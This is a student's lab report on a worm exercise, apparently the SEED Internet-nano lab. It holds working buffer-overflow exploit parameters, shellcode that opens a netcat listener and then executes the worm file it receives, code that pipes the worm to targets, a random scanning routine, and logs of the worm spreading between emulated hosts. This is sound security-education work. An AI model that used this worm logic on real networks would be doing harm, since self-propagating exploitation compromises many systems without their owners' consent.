MALWARE Design Assignment Report

Nahian Salsabil
1705091

Task 1: Attack Any Target Machine

1. Turn off the address randomization:

```
[08/06/22]seed@VM:~/.../Labsetup$ sudo /sbin/sysctl -w kernel.randomize_va_space
=0
kernel.randomize_va_space = 0
[08/06/22]seed@VM:~/.../Labsetup$
```

2. Suppose we want to attack the IP with 10.151.0.71. Now we will execute the command below.

```
[08/06/22]seed@VM:~/.../internet-nano$ echo hello | nc -w2 10.151.0.71 9090
```

Now in the nano internet container terminal, we can see the following output

```
as151h-host_0-10.151.0.71          | Starting stack
as151h-host_0-10.151.0.71          | Input size: 6
as151h-host_0-10.151.0.71          | Frame Pointer (ebp) inside bof():  0xffffd5f8
as151h-host_0-10.151.0.71          | Buffer's address inside bof():     0xffffd588
as151h-host_0-10.151.0.71          | ==== Returned Properly ====
```

3. In the worm.py file we set the return address to the frame pointer + some offset. And the offset will be frame pointer - buffer address + 4 which is equal to 112 + 4.

```
ret    = 0xffffd5f8 + 0x20  # Need to change
offset = 116 # Need to change
```

4. Now save the worm.py file and run this on the host terminal. It will create a badfile and send this to IP 10.151.0.71 and port 9090. The badfile has the buffer overflow exploit.

```
[08/06/22]seed@VM:~/.../worm$ ./worm.py
The worm has arrived on this host ^_^
target ip:10.151.0.71
*********************************
>>>>> Attacking 10.151.0.71 <<<<<
*********************************
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
```

5. In the nano internet container terminal a smiley face will be printed if the attack is successful.

```
as151h-host_0-10.151.0.71           | Starting stack
as151h-host_0-10.151.0.71           | (^_^) Shellcode is running (^_^)
```

Task 2: Self Duplication

1. In this task, we have to send the worm.py file from host machine to target machine. To do so, we have to create a TCP connection by aking a machine server and another client. We will add the command to open a port and continue listening in the server. So we add the following code inside the shellcode.

```
# The * in the 3rd line will be replaced by a binary zero.
" echo '(^_^) Shellcode is running (^_^)';                    "
" nc -lnv 8080 > worm.py;                                     "
```

2. Now, we make the host machine a client and send the worm.py file to this port. So we add following command.

```
# Give the shellcode some time to run on the target host
time.sleep(1)
subprocess.run([f"cat worm.py | nc -w5 {targetIP} 8080"], shell=True)
```

3. Now we run worm.py and see the following output in the terminal.

```
[08/06/22]seed@VM:~/.../worm$ ./worm.py
The worm has arrived on this host ^_^
target ip:10.151.0.71
*********************************
>>>>> Attacking 10.151.0.71 <<<<<
*********************************
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
```

4. In the nano terminal the output is like below.

```
as151h-host_0-10.151.0.71           | Starting stack
as151h-host_0-10.151.0.71           | (^_^) Shellcode is running (^_^)
as151h-host_0-10.151.0.71           | Listening on 0.0.0.0 8080
as151h-host_0-10.151.0.71           | Connection received on 10.151.0.1 49082
```

5. To check if the self duplication is successful, we check the nano internet docker.

```
[08/06/22]seed@VM:~/.../internet-nano$ docksh 715
root@715f6e2f89b4:/# ls
bin   dev   ifinfo.txt       lib32   media  proc  sbin             srv       tmp
bof   etc   interface_setup  lib64   mnt    root  seedemu_sniffer  start.sh  usr
boot  home  lib              libx32  opt    run   seedemu_worker   sys       var
root@715f6e2f89b4:/# cd bof
root@715f6e2f89b4:/bof# ls
server  stack  worm.py
root@715f6e2f89b4:/bof#
```

So we can see that worm.py is here. So sending the file is successful.

Task 3: Propagation

1. In the previous task, we sent the worm.py file to only one machine. Now we want to propagate the file from one machine to another machine continuously. To do that, we have to pu some code in the shellcode and generate the ip addresses random;y in the getNextTarget() method.

2. In the shellcode we add this part.

```
" echo '(^_^) Shellcode is running (^_^)';                    "
" nc -lnv 8080 > worm.py;                                     "
" python3 worm.py                                            *"
"1234567890123456789012345678901234567890123456789012345678901234567890"
```

3. In the getNextTarget() we add the following code to randomly generate the ip address and check if it's active.

```python
def getNextTarget():
   #return '10.151.0.71'
   while True:
       X = randint(151, 155)
       Y = randint(70, 80)
       ipaddr = "10." + str(X) + ".0." + str(Y)
       try:
           output = subprocess.check_output(f"ping -q -c1 -W1 {ipaddr}", shell=True)
           result = output.find(b'1 received')
           if result != -1:
               return ipaddr
           else:
               continue

       except subprocess.CalledProcessError:
           continue
```

4. Now if we run worm.py the nano container will contain the output something like this.

```
as153h-host_0-10.153.0.71           | Starting stack
as153h-host_0-10.153.0.71           | (^_^) Shellcode is running (^_^)
as153h-host_0-10.153.0.71           | Listening on 0.0.0.0 8080
as153h-host_0-10.153.0.71           | Connection received on 10.152.0.75 37562
as153h-host_0-10.153.0.71           | The worm has arrived on this host ^_^
as153h-host_0-10.153.0.71           | target ip:10.151.0.75
as153h-host_0-10.153.0.71           | ********************************
as153h-host_0-10.153.0.71           | >>>>> Attacking 10.151.0.75 <<<<<
as153h-host_0-10.153.0.71           | ********************************
as151h-host_4-10.151.0.75           | Starting stack
as151h-host_4-10.151.0.75           | (^_^) Shellcode is running (^_^)
as151h-host_4-10.151.0.75           | Listening on 0.0.0.0 8080
as151h-host_4-10.151.0.75           | Connection received on 10.153.0.71 46550
as151h-host_4-10.151.0.75           | The worm has arrived on this host ^_^
as151h-host_4-10.151.0.75           | target ip:10.153.0.74
as151h-host_4-10.151.0.75           | ********************************
as151h-host_4-10.151.0.75           | >>>>> Attacking 10.153.0.74 <<<<<
as151h-host_4-10.151.0.75           | ********************************
as153h-host_3-10.153.0.74           | Starting stack
as153h-host_3-10.153.0.74           | Listening on 0.0.0.0 8080
as153h-host_3-10.153.0.74           | (^_^) Shellcode is running (^_^)
as153h-host_3-10.153.0.74           | Connection received on 10.151.0.75 32888
as153h-host_3-10.153.0.74           | The worm has arrived on this host ^_^
as153h-host_3-10.153.0.74           | target ip:10.152.0.72
as153h-host_3-10.153.0.74           | ********************************
as153h-host_3-10.153.0.74           | >>>>> Attacking 10.152.0.72 <<<<<
as153h-host_3-10.153.0.74           | ********************************
```

So, one machine is sending file to another. And thus propagation is done.

Task 4: Preventing Self Infection

1. In this task, we have to prevent from attacking self. For this we have to check if there is already any worm.py in the container. If yes, then don't download the file, if not then download and run it.
2. To do this, we add this condition in the shellcode.

```
" echo '(^_^) Shellcode is running (^_^)'; [ -f worm.py ] && "
" echo exiting && exit; nc -lnv 8080 > worm.py;               "
" python3 worm.py                                            *"
"12345678901234567890123456789012345678901234567890123456789012345678901234567890"
```

3. Now the output in the nano terminal will look something like this.

```
as153h-host_4-10.153.0.75 | Starting stack
as153h-host_4-10.153.0.75 | (^_^) Shellcode is running (^_^)
as153h-host_4-10.153.0.75 | Listening on 0.0.0.0 8080
as153h-host_4-10.153.0.75 | Connection received on 10.153.0.1 33168
as153h-host_4-10.153.0.75 | The worm has arrived on this host ^_^
as153h-host_4-10.153.0.75 | target ip:10.152.0.72
as153h-host_4-10.153.0.75 | ********************************
as153h-host_4-10.153.0.75 | >>>>> Attacking 10.152.0.72 <<<<<
as153h-host_4-10.153.0.75 | ********************************
as152h-host_1-10.152.0.72 | Starting stack
as152h-host_1-10.152.0.72 | (^_^) Shellcode is running (^_^)
as152h-host_1-10.152.0.72 | Listening on 0.0.0.0 8080
as152h-host_1-10.152.0.72 | Connection received on 10.153.0.75 32822
as152h-host_1-10.152.0.72 | The worm has arrived on this host ^_^
as152h-host_1-10.152.0.72 | target ip:10.153.0.75
as152h-host_1-10.152.0.72 | ********************************
as152h-host_1-10.152.0.72 | >>>>> Attacking 10.153.0.75 <<<<<
as152h-host_1-10.152.0.72 | ********************************
as153h-host_4-10.153.0.75 | Starting stack
as153h-host_4-10.153.0.75 | (^_^) Shellcode is running (^_^)
as153h-host_4-10.153.0.75 | exiting
```

So, we can see that when it tries to attack 10.153.0.75, it exits because there is already worm.py in that container.